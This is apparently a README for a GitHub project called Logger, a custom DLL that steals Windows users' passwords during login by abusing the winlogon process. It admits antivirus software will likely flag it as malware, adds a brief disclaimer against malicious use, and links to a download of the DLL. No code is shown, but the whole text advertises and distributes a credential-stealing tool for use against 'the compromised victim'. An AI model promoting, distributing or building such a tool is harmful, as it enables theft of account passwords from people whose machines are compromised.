# LOGGER

Logger is a custom DLL used for password stealing during the log in process of the compromised victim.

This custom DLL misuses the advantage of the winlogon service which activates during the logging process of the Microsoft account. So, there is high chance that the AV might flag this as a malware.

Don't use this for any malicious purpose and I am not responsible for any mistakes made against the law.

**Download the DLL from - https://github.com/FelicityXD/Logger-PasswordStealing**
